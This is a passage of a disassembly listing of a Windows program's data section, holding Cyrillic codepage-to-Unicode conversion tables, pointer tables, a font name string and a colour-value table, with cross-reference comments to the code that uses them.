		db 0F2h	; Р
		db    5	;  
		db 0F3h	; С
		db    5	;  
		db 0F4h	; Т
		db    5	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0D0h	; п
		db    5	;  
		db 0D1h	; я
		db    5	;  
		db 0D2h	; р
		db    5	;  
		db 0D3h	; с
		db    5	;  
		db 0D4h	; т
		db    5	;  
		db 0D5h	; у
		db    5	;  
		db 0D6h	; ж
		db    5	;  
		db 0D7h	; в
		db    5	;  
		db 0D8h	; ь
		db    5	;  
		db 0D9h	; ы
		db    5	;  
		db 0DAh	; з
		db    5	;  
		db 0DBh	; ш
		db    5	;  
		db 0DCh	; э
		db    5	;  
		db 0DDh	; щ
		db    5	;  
		db 0DEh	; ч
		db    5	;  
		db 0DFh	; ъ
		db    5	;  
		db 0E0h	; Ю
		db    5	;  
		db 0E1h	; А
		db    5	;  
		db 0E2h	; Б
		db    5	;  
		db 0E3h	; Ц
		db    5	;  
		db 0E4h	; Д
		db    5	;  
		db 0E5h	; Е
		db    5	;  
		db 0E6h	; Ф
		db    5	;  
		db 0E7h	; Г
		db    5	;  
		db 0E8h	; Х
		db    5	;  
		db 0E9h	; И
		db    5	;  
		db 0EAh	; Й
		db    5	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db  0Eh	;  
		db  20h	;  
		db  0Fh	;  
		db  20h	;  
		db 0FDh	; Щ
		db 0FFh	;  
unk_41D300	db 0ACh	; ╛		; DATA XREF: sub_40EBC4+194o
		db  20h	;  
		db  7Eh	; ~
		db    6	;  
		db  1Ah	;  
		db  20h	;  
		db  92h	; ▓
		db    1	;  
		db  1Eh	;  
		db  20h	;  
		db  26h	; &
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  21h	; !
		db  20h	;  
		db 0C6h	; ф
		db    2	;  
		db  30h	; 0
		db  20h	;  
		db  79h	; y
		db    6	;  
		db  39h	; 9
		db  20h	;  
		db  52h	; R
		db    1	;  
		db  86h	; ├
		db    6	;  
		db  98h	; ≤
		db    6	;  
		db  88h	; ┬
		db    6	;  
		db 0AFh	; ╞
		db    6	;  
		db  18h	;  
		db  20h	;  
		db  19h	;  
		db  20h	;  
		db  1Ch	;  
		db  20h	;  
		db  1Dh	;  
		db  20h	;  
		db  22h	; "
		db  20h	;  
		db  13h	;  
		db  20h	;  
		db  14h	;  
		db  20h	;  
		db 0A9h	; ╘
		db    6	;  
		db  22h	; "
		db  21h	; !
		db  91h	; ▒
		db    6	;  
		db  3Ah	; :
		db  20h	;  
		db  53h	; S
		db    1	;  
		db  0Ch	;  
		db  20h	;  
		db  0Dh	;  
		db  20h	;  
		db 0BAh	; ╨
		db    6	;  
		db 0A0h	; ═
		db    0	;  
		db  0Ch	;  
		db    6	;  
		db 0A2h	; ╒
		db    0	;  
		db 0A3h	; ё
		db    0	;  
		db 0A4h	; є
		db    0	;  
		db 0A5h	; ╔
		db    0	;  
		db 0A6h	; і
		db    0	;  
		db 0A7h	; ї
		db    0	;  
		db 0A8h	; ╗
		db    0	;  
		db 0A9h	; ╘
		db    0	;  
		db 0BEh	; Ў
		db    6	;  
		db 0ABh	; ╚
		db    0	;  
		db 0ACh	; ╛
		db    0	;  
		db 0ADh	; ґ
		db    0	;  
		db 0AEh	; ў
		db    0	;  
		db 0AFh	; ╞
		db    0	;  
		db 0B0h	; ╟
		db    0	;  
		db 0B1h	; ╠
		db    0	;  
		db 0B2h	; ╡
		db    0	;  
		db 0B3h	; Ё
		db    0	;  
		db 0B4h	; Є
		db    0	;  
		db 0B5h	; ╣
		db    0	;  
		db 0B6h	; І
		db    0	;  
		db 0B7h	; Ї
		db    0	;  
		db 0B8h	; ╦
		db    0	;  
		db 0B9h	; ╧
		db    0	;  
		db  1Bh	;  
		db    6	;  
		db 0BBh	; ╩
		db    0	;  
		db 0BCh	; ╪
		db    0	;  
		db 0BDh	; Ґ
		db    0	;  
		db 0BEh	; Ў
		db    0	;  
		db  1Fh	;  
		db    6	;  
		db 0C1h	; а
		db    6	;  
		db  21h	; !
		db    6	;  
		db  22h	; "
		db    6	;  
		db  23h	; #
		db    6	;  
		db  24h	; $
		db    6	;  
		db  25h	; %
		db    6	;  
		db  26h	; &
		db    6	;  
		db  27h	; '
		db    6	;  
		db  28h	; (
		db    6	;  
		db  29h	; )
		db    6	;  
		db  2Ah	; *
		db    6	;  
		db  2Bh	; +
		db    6	;  
		db  2Ch	; ,
		db    6	;  
		db  2Dh	; -
		db    6	;  
		db  2Eh	; .
		db    6	;  
		db  2Fh	; /
		db    6	;  
		db  30h	; 0
		db    6	;  
		db  31h	; 1
		db    6	;  
		db  32h	; 2
		db    6	;  
		db  33h	; 3
		db    6	;  
		db  34h	; 4
		db    6	;  
		db  35h	; 5
		db    6	;  
		db  36h	; 6
		db    6	;  
		db 0D7h	; в
		db    0	;  
		db  37h	; 7
		db    6	;  
		db  38h	; 8
		db    6	;  
		db  39h	; 9
		db    6	;  
		db  3Ah	; :
		db    6	;  
		db  40h	; @
		db    6	;  
		db  41h	; A
		db    6	;  
		db  42h	; B
		db    6	;  
		db  43h	; C
		db    6	;  
		db 0E0h	; Ю
		db    0	;  
		db  44h	; D
		db    6	;  
		db 0E2h	; Б
		db    0	;  
		db  45h	; E
		db    6	;  
		db  46h	; F
		db    6	;  
		db  47h	; G
		db    6	;  
		db  48h	; H
		db    6	;  
		db 0E7h	; Г
		db    0	;  
		db 0E8h	; Х
		db    0	;  
		db 0E9h	; И
		db    0	;  
		db 0EAh	; Й
		db    0	;  
		db 0EBh	; К
		db    0	;  
		db  49h	; I
		db    6	;  
		db  4Ah	; J
		db    6	;  
		db 0EEh	; Н
		db    0	;  
		db 0EFh	; О
		db    0	;  
		db  4Bh	; K
		db    6	;  
		db  4Ch	; L
		db    6	;  
		db  4Dh	; M
		db    6	;  
		db  4Eh	; N
		db    6	;  
		db 0F4h	; Т
		db    0	;  
		db  4Fh	; O
		db    6	;  
		db  50h	; P
		db    6	;  
		db 0F7h	; В
		db    0	;  
		db  51h	; Q
		db    6	;  
		db 0F9h	; Ы
		db    0	;  
		db  52h	; R
		db    6	;  
		db 0FBh	; Ш
		db    0	;  
		db 0FCh	; Э
		db    0	;  
		db  0Eh	;  
		db  20h	;  
		db  0Fh	;  
		db  20h	;  
		db 0D2h	; р
		db    6	;  
unk_41D400	db 0ACh	; ╛		; DATA XREF: sub_40EBC4+1A7o
		db  20h	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db  1Ah	;  
		db  20h	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db  1Eh	;  
		db  20h	;  
		db  26h	; &
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  21h	; !
		db  20h	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db  30h	; 0
		db  20h	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db  39h	; 9
		db  20h	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0A8h	; ╗
		db    0	;  
		db 0C7h	; г
		db    2	;  
		db 0B8h	; ╦
		db    0	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db  18h	;  
		db  20h	;  
		db  19h	;  
		db  20h	;  
		db  1Ch	;  
		db  20h	;  
		db  1Dh	;  
		db  20h	;  
		db  22h	; "
		db  20h	;  
		db  13h	;  
		db  20h	;  
		db  14h	;  
		db  20h	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db  22h	; "
		db  21h	; !
		db 0FDh	; Щ
		db 0FFh	;  
		db  3Ah	; :
		db  20h	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0AFh	; ╞
		db    0	;  
		db 0DBh	; ш
		db    2	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0A0h	; ═
		db    0	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0A2h	; ╒
		db    0	;  
		db 0A3h	; ё
		db    0	;  
		db 0A4h	; є
		db    0	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0A6h	; і
		db    0	;  
		db 0A7h	; ї
		db    0	;  
		db 0D8h	; ь
		db    0	;  
		db 0A9h	; ╘
		db    0	;  
		db  56h	; V
		db    1	;  
		db 0ABh	; ╚
		db    0	;  
		db 0ACh	; ╛
		db    0	;  
		db 0ADh	; ґ
		db    0	;  
		db 0AEh	; ў
		db    0	;  
		db 0C6h	; ф
		db    0	;  
		db 0B0h	; ╟
		db    0	;  
		db 0B1h	; ╠
		db    0	;  
		db 0B2h	; ╡
		db    0	;  
		db 0B3h	; Ё
		db    0	;  
		db 0B4h	; Є
		db    0	;  
		db 0B5h	; ╣
		db    0	;  
		db 0B6h	; І
		db    0	;  
		db 0B7h	; Ї
		db    0	;  
		db 0F8h	; Ь
		db    0	;  
		db 0B9h	; ╧
		db    0	;  
		db  57h	; W
		db    1	;  
		db 0BBh	; ╩
		db    0	;  
		db 0BCh	; ╪
		db    0	;  
		db 0BDh	; Ґ
		db    0	;  
		db 0BEh	; Ў
		db    0	;  
		db 0E6h	; Ф
		db    0	;  
		db    4	;  
		db    1	;  
		db  2Eh	; .
		db    1	;  
		db    0	;  
		db    1	;  
		db    6	;  
		db    1	;  
		db 0C4h	; д
		db    0	;  
		db 0C5h	; е
		db    0	;  
		db  18h	;  
		db    1	;  
		db  12h	;  
		db    1	;  
		db  0Ch	;  
		db    1	;  
		db 0C9h	; и
		db    0	;  
		db  79h	; y
		db    1	;  
		db  16h	;  
		db    1	;  
		db  22h	; "
		db    1	;  
		db  36h	; 6
		db    1	;  
		db  2Ah	; *
		db    1	;  
		db  3Bh	; ;
		db    1	;  
		db  60h	; `
		db    1	;  
		db  43h	; C
		db    1	;  
		db  45h	; E
		db    1	;  
		db 0D3h	; с
		db    0	;  
		db  4Ch	; L
		db    1	;  
		db 0D5h	; у
		db    0	;  
		db 0D6h	; ж
		db    0	;  
		db 0D7h	; в
		db    0	;  
		db  72h	; r
		db    1	;  
		db  41h	; A
		db    1	;  
		db  5Ah	; Z
		db    1	;  
		db  6Ah	; j
		db    1	;  
		db 0DCh	; э
		db    0	;  
		db  7Bh	; {
		db    1	;  
		db  7Dh	; }
		db    1	;  
		db 0DFh	; ъ
		db    0	;  
		db    5	;  
		db    1	;  
		db  2Fh	; /
		db    1	;  
		db    1	;  
		db    1	;  
		db    7	;  
		db    1	;  
		db 0E4h	; Д
		db    0	;  
		db 0E5h	; Е
		db    0	;  
		db  19h	;  
		db    1	;  
		db  13h	;  
		db    1	;  
		db  0Dh	;  
		db    1	;  
		db 0E9h	; И
		db    0	;  
		db  7Ah	; z
		db    1	;  
		db  17h	;  
		db    1	;  
		db  23h	; #
		db    1	;  
		db  37h	; 7
		db    1	;  
		db  2Bh	; +
		db    1	;  
		db  3Ch	; <
		db    1	;  
		db  61h	; a
		db    1	;  
		db  44h	; D
		db    1	;  
		db  46h	; F
		db    1	;  
		db 0F3h	; С
		db    0	;  
		db  4Dh	; M
		db    1	;  
		db 0F5h	; У
		db    0	;  
		db 0F6h	; Ж
		db    0	;  
		db 0F7h	; В
		db    0	;  
		db  73h	; s
		db    1	;  
		db  42h	; B
		db    1	;  
		db  5Bh	; [
		db    1	;  
		db  6Bh	; k
		db    1	;  
		db 0FCh	; Э
		db    0	;  
		db  7Ch	; |
		db    1	;  
		db  7Eh	; ~
		db    1	;  
		db 0D9h	; ы
		db    2	;  
unk_41D500	db 0ACh	; ╛		; DATA XREF: sub_40EBC4+1BAo
		db  20h	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db  1Ah	;  
		db  20h	;  
		db  92h	; ▓
		db    1	;  
		db  1Eh	;  
		db  20h	;  
		db  26h	; &
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  21h	; !
		db  20h	;  
		db 0C6h	; ф
		db    2	;  
		db  30h	; 0
		db  20h	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db  39h	; 9
		db  20h	;  
		db  52h	; R
		db    1	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db  18h	;  
		db  20h	;  
		db  19h	;  
		db  20h	;  
		db  1Ch	;  
		db  20h	;  
		db  1Dh	;  
		db  20h	;  
		db  22h	; "
		db  20h	;  
		db  13h	;  
		db  20h	;  
		db  14h	;  
		db  20h	;  
		db 0DCh	; э
		db    2	;  
		db  22h	; "
		db  21h	; !
		db 0FDh	; Щ
		db 0FFh	;  
		db  3Ah	; :
		db  20h	;  
		db  53h	; S
		db    1	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db  78h	; x
		db    1	;  
		db 0A0h	; ═
		db    0	;  
		db 0A1h	; ║
		db    0	;  
		db 0A2h	; ╒
		db    0	;  
		db 0A3h	; ё
		db    0	;  
		db 0A4h	; є
		db    0	;  
		db 0A5h	; ╔
		db    0	;  
		db 0A6h	; і
		db    0	;  
		db 0A7h	; ї
		db    0	;  
		db 0A8h	; ╗
		db    0	;  
		db 0A9h	; ╘
		db    0	;  
		db 0AAh	; ╙
		db    0	;  
		db 0ABh	; ╚
		db    0	;  
		db 0ACh	; ╛
		db    0	;  
		db 0ADh	; ґ
		db    0	;  
		db 0AEh	; ў
		db    0	;  
		db 0AFh	; ╞
		db    0	;  
		db 0B0h	; ╟
		db    0	;  
		db 0B1h	; ╠
		db    0	;  
		db 0B2h	; ╡
		db    0	;  
		db 0B3h	; Ё
		db    0	;  
		db 0B4h	; Є
		db    0	;  
		db 0B5h	; ╣
		db    0	;  
		db 0B6h	; І
		db    0	;  
		db 0B7h	; Ї
		db    0	;  
		db 0B8h	; ╦
		db    0	;  
		db 0B9h	; ╧
		db    0	;  
		db 0BAh	; ╨
		db    0	;  
		db 0BBh	; ╩
		db    0	;  
		db 0BCh	; ╪
		db    0	;  
		db 0BDh	; Ґ
		db    0	;  
		db 0BEh	; Ў
		db    0	;  
		db 0BFh	; ©
		db    0	;  
		db 0C0h	; ю
		db    0	;  
		db 0C1h	; а
		db    0	;  
		db 0C2h	; б
		db    0	;  
		db    2	;  
		db    1	;  
		db 0C4h	; д
		db    0	;  
		db 0C5h	; е
		db    0	;  
		db 0C6h	; ф
		db    0	;  
		db 0C7h	; г
		db    0	;  
		db 0C8h	; х
		db    0	;  
		db 0C9h	; и
		db    0	;  
		db 0CAh	; й
		db    0	;  
		db 0CBh	; к
		db    0	;  
		db    0	;  
		db    3	;  
		db 0CDh	; м
		db    0	;  
		db 0CEh	; н
		db    0	;  
		db 0CFh	; о
		db    0	;  
		db  10h	;  
		db    1	;  
		db 0D1h	; я
		db    0	;  
		db    9	;  
		db    3	;  
		db 0D3h	; с
		db    0	;  
		db 0D4h	; т
		db    0	;  
		db 0A0h	; ═
		db    1	;  
		db 0D6h	; ж
		db    0	;  
		db 0D7h	; в
		db    0	;  
		db 0D8h	; ь
		db    0	;  
		db 0D9h	; ы
		db    0	;  
		db 0DAh	; з
		db    0	;  
		db 0DBh	; ш
		db    0	;  
		db 0DCh	; э
		db    0	;  
		db 0AFh	; ╞
		db    1	;  
		db    3	;  
		db    3	;  
		db 0DFh	; ъ
		db    0	;  
		db 0E0h	; Ю
		db    0	;  
		db 0E1h	; А
		db    0	;  
		db 0E2h	; Б
		db    0	;  
		db    3	;  
		db    1	;  
		db 0E4h	; Д
		db    0	;  
		db 0E5h	; Е
		db    0	;  
		db 0E6h	; Ф
		db    0	;  
		db 0E7h	; Г
		db    0	;  
		db 0E8h	; Х
		db    0	;  
		db 0E9h	; И
		db    0	;  
		db 0EAh	; Й
		db    0	;  
		db 0EBh	; К
		db    0	;  
		db    1	;  
		db    3	;  
		db 0EDh	; М
		db    0	;  
		db 0EEh	; Н
		db    0	;  
		db 0EFh	; О
		db    0	;  
		db  11h	;  
		db    1	;  
		db 0F1h	; Я
		db    0	;  
		db  23h	; #
		db    3	;  
		db 0F3h	; С
		db    0	;  
		db 0F4h	; Т
		db    0	;  
		db 0A1h	; ║
		db    1	;  
		db 0F6h	; Ж
		db    0	;  
		db 0F7h	; В
		db    0	;  
		db 0F8h	; Ь
		db    0	;  
		db 0F9h	; Ы
		db    0	;  
		db 0FAh	; З
		db    0	;  
		db 0FBh	; Ш
		db    0	;  
		db 0FCh	; Э
		db    0	;  
		db 0B0h	; ╟
		db    1	;  
		db 0ABh	; ╚
		db  20h	;  
		db 0FFh	;  
		db    0	;  
unk_41D600	db    0	;		; DATA XREF: sub_40EBC4+1CDo
		db  25h	; %
		db    2	;  
		db  25h	; %
		db  0Ch	;  
		db  25h	; %
		db  10h	;  
		db  25h	; %
		db  14h	;  
		db  25h	; %
		db  18h	;  
		db  25h	; %
		db  1Ch	;  
		db  25h	; %
		db  24h	; $
		db  25h	; %
		db  2Ch	; ,
		db  25h	; %
		db  34h	; 4
		db  25h	; %
		db  3Ch	; <
		db  25h	; %
		db  80h	; ─
		db  25h	; %
		db  84h	; └
		db  25h	; %
		db  88h	; ┬
		db  25h	; %
		db  8Ch	; ▄
		db  25h	; %
		db  90h	; ░
		db  25h	; %
		db  91h	; ▒
		db  25h	; %
		db  92h	; ▓
		db  25h	; %
		db  93h	; ⌠
		db  25h	; %
		db  20h	;  
		db  23h	; #
		db 0A0h	; ═
		db  25h	; %
		db  19h	;  
		db  22h	; "
		db  1Ah	;  
		db  22h	; "
		db  48h	; H
		db  22h	; "
		db  64h	; d
		db  22h	; "
		db  65h	; e
		db  22h	; "
		db 0A0h	; ═
		db    0	;  
		db  21h	; !
		db  23h	; #
		db 0B0h	; ╟
		db    0	;  
		db 0B2h	; ╡
		db    0	;  
		db 0B7h	; Ї
		db    0	;  
		db 0F7h	; В
		db    0	;  
		db  50h	; P
		db  25h	; %
		db  51h	; Q
		db  25h	; %
		db  52h	; R
		db  25h	; %
		db  51h	; Q
		db    4	;  
		db  53h	; S
		db  25h	; %
		db  54h	; T
		db  25h	; %
		db  55h	; U
		db  25h	; %
		db  56h	; V
		db  25h	; %
		db  57h	; W
		db  25h	; %
		db  58h	; X
		db  25h	; %
		db  59h	; Y
		db  25h	; %
		db  5Ah	; Z
		db  25h	; %
		db  5Bh	; [
		db  25h	; %
		db  5Ch	; \
		db  25h	; %
		db  5Dh	; ]
		db  25h	; %
		db  5Eh	; ^
		db  25h	; %
		db  5Fh	; _
		db  25h	; %
		db  60h	; `
		db  25h	; %
		db  61h	; a
		db  25h	; %
		db    1	;  
		db    4	;  
		db  62h	; b
		db  25h	; %
		db  63h	; c
		db  25h	; %
		db  64h	; d
		db  25h	; %
		db  65h	; e
		db  25h	; %
		db  66h	; f
		db  25h	; %
		db  67h	; g
		db  25h	; %
		db  68h	; h
		db  25h	; %
		db  69h	; i
		db  25h	; %
		db  6Ah	; j
		db  25h	; %
		db  6Bh	; k
		db  25h	; %
		db  6Ch	; l
		db  25h	; %
		db 0A9h	; ╘
		db    0	;  
		db  4Eh	; N
		db    4	;  
		db  30h	; 0
		db    4	;  
		db  31h	; 1
		db    4	;  
		db  46h	; F
		db    4	;  
		db  34h	; 4
		db    4	;  
		db  35h	; 5
		db    4	;  
		db  44h	; D
		db    4	;  
		db  33h	; 3
		db    4	;  
		db  45h	; E
		db    4	;  
		db  38h	; 8
		db    4	;  
		db  39h	; 9
		db    4	;  
		db  3Ah	; :
		db    4	;  
		db  3Bh	; ;
		db    4	;  
		db  3Ch	; <
		db    4	;  
		db  3Dh	; =
		db    4	;  
		db  3Eh	; >
		db    4	;  
		db  3Fh	; ?
		db    4	;  
		db  4Fh	; O
		db    4	;  
		db  40h	; @
		db    4	;  
		db  41h	; A
		db    4	;  
		db  42h	; B
		db    4	;  
		db  43h	; C
		db    4	;  
		db  36h	; 6
		db    4	;  
		db  32h	; 2
		db    4	;  
		db  4Ch	; L
		db    4	;  
		db  4Bh	; K
		db    4	;  
		db  37h	; 7
		db    4	;  
		db  48h	; H
		db    4	;  
		db  4Dh	; M
		db    4	;  
		db  49h	; I
		db    4	;  
		db  47h	; G
		db    4	;  
		db  4Ah	; J
		db    4	;  
		db  2Eh	; .
		db    4	;  
		db  10h	;  
		db    4	;  
		db  11h	;  
		db    4	;  
		db  26h	; &
		db    4	;  
		db  14h	;  
		db    4	;  
		db  15h	;  
		db    4	;  
		db  24h	; $
		db    4	;  
		db  13h	;  
		db    4	;  
		db  25h	; %
		db    4	;  
		db  18h	;  
		db    4	;  
		db  19h	;  
		db    4	;  
		db  1Ah	;  
		db    4	;  
		db  1Bh	;  
		db    4	;  
		db  1Ch	;  
		db    4	;  
		db  1Dh	;  
		db    4	;  
		db  1Eh	;  
		db    4	;  
		db  1Fh	;  
		db    4	;  
		db  2Fh	; /
		db    4	;  
		db  20h	;  
		db    4	;  
		db  21h	; !
		db    4	;  
		db  22h	; "
		db    4	;  
		db  23h	; #
		db    4	;  
		db  16h	;  
		db    4	;  
		db  12h	;  
		db    4	;  
		db  2Ch	; ,
		db    4	;  
		db  2Bh	; +
		db    4	;  
		db  17h	;  
		db    4	;  
		db  28h	; (
		db    4	;  
		db  2Dh	; -
		db    4	;  
		db  29h	; )
		db    4	;  
		db  27h	; '
		db    4	;  
		db  2Ah	; *
		db    4	;  
unk_41D700	db    0	;		; DATA XREF: sub_40F3B4+57o
					; DATA:0041DBFCo
		db    0	;  
		db    0	;  
		db    0	;  
		db    4	;  
		db 0D3h	; с
		db    0	;  
		db 0FCh	; Э
		db    1	;  
		db    0	;  
		db    0	;  
		db 0B8h	; ╦
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
off_41D720	dd offset dword_411034	; DATA XREF: sub_411110+4Cr
					; sub_411110+7Fo ...
		dd offset dword_411034+0Ch
		dd offset dword_411034+18h
		dd offset dword_411034+24h
		dd offset dword_411034+30h
		dd offset dword_411034+3Ch
		dd offset dword_411034+48h
off_41D73C	dd offset dword_411088	; DATA XREF: sub_411110+B7o
					; sub_4115E0+19o
		dd offset dword_411088+0Ch
		dd offset dword_411088+18h
		dd offset dword_411088+24h
		dd offset dword_411088+30h
		dd offset dword_411088+3Ch
		dd offset dword_411088+48h
		dd offset dword_411088+54h
		dd offset dword_411088+60h
		dd offset dword_411088+6Ch
		dd offset dword_411088+78h
		dd offset dword_411088+84h
off_41D76C	dd offset dword_4116E4	; DATA XREF: sub_411E58+69o
					; sub_41243C+19o
		dd offset dword_4116E4+0Ch
		dd offset dword_4116E4+20h
		dd offset dword_4116E4+30h
		dd offset dword_4116E4+3Ch
		dd offset dword_4116E4+30h
		dd offset dword_4116E4+4Ch
		dd offset dword_4116E4+3Ch
		dd offset dword_4116E4+4Ch
		dd offset dword_4116E4+5Ch
		dd offset dword_4116E4+3Ch
		dd offset dword_4116E4+4Ch
		dd offset dword_4116E4+68h
		dd offset dword_4116E4+78h
		dd offset dword_4116E4+68h
		dd offset dword_4116E4+88h
		dd offset dword_4116E4+78h
		dd offset dword_4116E4+68h
		dd offset dword_4116E4+94h
		dd offset dword_4116E4+0Ch
		dd offset dword_4116E4+94h
		dd offset dword_4116E4+0A0h
		dd offset dword_4116E4+3Ch
		dd offset dword_4116E4+0A0h
		dd offset dword_4116E4+0ACh
		dd offset dword_4116E4+0Ch
		dd offset dword_4116E4+0B8h
		dd offset dword_4116E4+0CCh
		dd offset dword_4116E4+78h
		dd offset dword_4116E4+0D8h
		dd offset dword_4116E4+0ECh
		dd offset dword_4116E4+0Ch
		dd offset dword_4116E4+0F8h
		dd offset dword_4116E4+108h
		dd offset dword_4116E4+0Ch
		dd offset dword_4116E4+114h
		dd offset dword_4116E4+12Ch
		dd offset dword_4116E4+0Ch
		dd offset dword_4116E4+114h
		dd offset dword_4116E4+138h
		dd offset dword_4116E4+0Ch
		dd offset dword_4116E4+114h
		dd offset dword_4116E4+144h
		dd offset dword_4116E4+0Ch
		dd offset dword_4116E4+114h
		dd offset dword_4116E4+150h
		dd offset dword_4116E4+0Ch
		dd offset dword_4116E4+114h
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		dd 0
		db    0	;  
		db    0	;  
		db 1
aMsSansSerif	db 0Dh,'MS Sans Serif',0 ; DATA XREF: sub_413D40+DDo
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
unk_41D858	db    0	;		; DATA XREF: CODE:00413B4Eo
					; CODE:00413B5Eo ...
		db    0	;  
		db    0	;  
		db    0	;  
		dd offset dword_4137E4+8
		db  80h	; ─
		db    0	;  
		db    0	;  
		db    0	;  
		dd offset dword_4137E4+18h
		db    0	;  
		db  80h	; ─
		db    0	;  
		db    0	;  
		dd offset dword_4137E4+2Ch
		db  80h	; ─
		db  80h	; ─
		db    0	;  
		db    0	;  
		dd offset dword_4137E4+3Ch
		db    0	;  
		db    0	;  
		db  80h	; ─
		db    0	;  
		dd offset dword_4137E4+4Ch
		db  80h	; ─
		db    0	;  
		db  80h	; ─
		db    0	;  
		dd offset dword_4137E4+5Ch
		db    0	;  
		db  80h	; ─
		db  80h	; ─
		db    0	;  
		dd offset dword_4137E4+70h
		db  80h	; ─
		db  80h	; ─
		db  80h	; ─
		db    0	;  
		dd offset dword_4137E4+80h
		db 0C0h	; ю
		db 0C0h	; ю
		db 0C0h	; ю
		db    0	;  
		dd offset dword_4137E4+90h
		db 0FFh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		dd offset dword_4137E4+0A4h
		db    0	;  
		db 0FFh	;  
		db    0	;  
		db    0	;  
		dd offset dword_4137E4+0B4h
		db 0FFh	;  
		db 0FFh	;  
		db    0	;  
		db    0	;  
		dd offset dword_4137E4+0C4h
		db    0	;  
		db    0	;  
		db 0FFh	;  
		db    0	;  
		dd offset dword_4137E4+0D8h
		db 0FFh	;  
		db    0	;  
		db 0FFh	;  
		db    0	;  
		dd offset dword_4137E4+0E8h
		db    0	;  
		db 0FFh	;  
		db 0FFh	;  
		db    0	;  
		dd offset dword_4137E4+0FCh
		db 0FFh	;  
		db 0FFh	;  
		db 0FFh	;  
		db    0	;  
		dd offset dword_4137E4+10Ch
		db    0	;  
		db    0	;  
		db    0	;  
		db  80h	; ─
		dd offset dword_4137E4+11Ch
		db    1	;  
		db    0	;  
		db    0	;  
		db  80h	; ─
		dd offset dword_4137E4+130h
		db    2	;  
		db    0	;  
		db    0	;  
		db  80h	; ─
		dd offset dword_4137E4+148h
		db    3	;  
		db    0	;  
		db    0	;  
		db  80h	; ─
		dd offset dword_4137E4+160h
		db    4	;  
		db    0	;  
		db    0	;  
		db  80h	; ─
		dd offset dword_4137E4+17Ch
		db    5	;  
		db    0	;  
		db    0	;  
		db  80h	; ─
		dd offset dword_4137E4+18Ch
		db    6	;  
		db    0	;  
		db    0	;  
		db  80h	; ─
		dd offset dword_4137E4+1A0h
		db    7	;  
		db    0	;  
		db    0	;  
		db  80h	; ─
		dd offset dword_4137E4+1B8h
		db    8	;  
		db    0	;  
		db    0	;  
		db  80h	; ─
		dd offset dword_4137E4+1CCh
		db    9	;  
		db    0	;  
		db    0	;  
		db  80h	; ─
		dd offset dword_4137E4+1E4h
		db  0Ah	;  
		db    0	;  
		db    0	;  
		db  80h	; ─
		dd offset dword_4137E4+1FCh
		db  0Bh	;  
		db    0	;  
		db    0	;  
		db  80h	; ─
		dd offset dword_4137E4+214h
		db  0Ch	;  
		db    0	;  
		db    0	;  
		db  80h	; ─
		dd offset dword_4137E4+230h
		db  0Dh	;  
		db    0	;  
		db    0	;  
		db  80h	; ─
		dd offset dword_4137E4+248h
		db  0Eh	;  
		db    0	;  
		db    0	;  
		db  80h	; ─
		dd offset dword_4137E4+25Ch
		db  0Fh	;  
		db    0	;  
		db    0	;  
		db  80h	; ─
		dd offset dword_4137E4+274h
		db  10h	;  
		db    0	;  
		db    0	;  
		db  80h	; ─
		dd offset dword_4137E4+288h
		db  11h	;  
		db    0	;  
		db    0	;  
		db  80h	; ─
		dd offset dword_4137E4+29Ch
		db  12h	;  
		db    0	;  
		db    0	;  
		db  80h	; ─
		dd offset dword_4137E4+2B0h
		db  13h	;  
		db    0	;  
		db    0	;  
		db  80h	; ─
		dd offset dword_4137E4+2C4h
		db  14h	;  
		db    0	;  
		db    0	;  
		db  80h	; ─
		dd offset dword_4137E4+2E4h
		db  15h	;  
		db    0	;  
		db    0	;  
		db  80h	; ─
		dd offset dword_4137E4+2FCh
		db  16h	;  
		db    0	;  
		db    0	;  
		db  80h	; ─
		dd offset dword_4137E4+314h
		db  17h	;  
		db    0	;  
		db    0	;  
		db  80h	; ─
		dd offset dword_4137E4+328h
		db  18h	;  
		db    0	;  
		db    0	;  
		db  80h	; ─
		dd offset dword_4137E4+33Ch
		db 0FFh	;  
		db 0FFh	;  
		db 0FFh	;  
		db  1Fh	;  
		dd offset dword_4137E4+350h
unk_41D9A8	db    0	;		; DATA XREF: CODE:00413D22o
					; CODE:00413D32o ...
		db    0	;  
		db    0	;  
		db    0	;  
		dd offset dword_413B6C+8
		db    1	;  
		db    0	;  
		db    0	;  
		db    0	;  
		dd offset dword_413B6C+20h
		db    2	;  
		db    0	;  
